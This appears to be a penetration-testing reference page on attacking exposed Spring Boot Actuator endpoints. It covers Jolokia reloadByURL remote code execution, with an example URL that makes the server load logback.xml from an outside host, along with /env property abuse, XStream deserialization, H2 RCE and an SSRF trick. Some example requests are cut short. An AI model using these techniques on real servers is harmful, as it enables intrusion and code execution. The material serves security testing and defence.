Spring Actuators

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Spring Auth Bypass

Exploiting Spring Boot Actuators

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Key Points:

  • Spring Boot Actuators register endpoints such as /health, /trace, /beans, /env, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only /health and /info are non-sensitive by default, but developers often disable this security.
  • Certain Actuator endpoints can expose sensitive data or allow harmful actions:
    • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
  • In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the /actuator/ base path.

Exploitation Techniques:

  1. 1.
    Remote Code Execution via '/jolokia':
    • The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
    • The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
    • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/!/logback.xml.
  2. 2.
    Config Modification via '/env':
    • If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.
    • Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
    • Example exploit POST request:
      POST /env HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 65
  3. 3.
    Other Useful Settings:
    • Properties like spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, and spring.datasource.tomcat.max-active can be manipulated for various exploits, such as SQL injection or altering database connection strings.

Additional Information:

  • A comprehensive list of default actuators can be found here.
  • The /env endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
  1. 1.
    Env + H2 RCE:
    • Details on exploiting the combination of /env endpoint and H2 database can be found here.
  2. 2.
    SSRF on Spring Boot Through Incorrect Pathname Interpretation:
    • The Spring framework's handling of matrix parameters (;) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
    • Example exploit request:
      GET ; HTTP/1.1
      Connection: close
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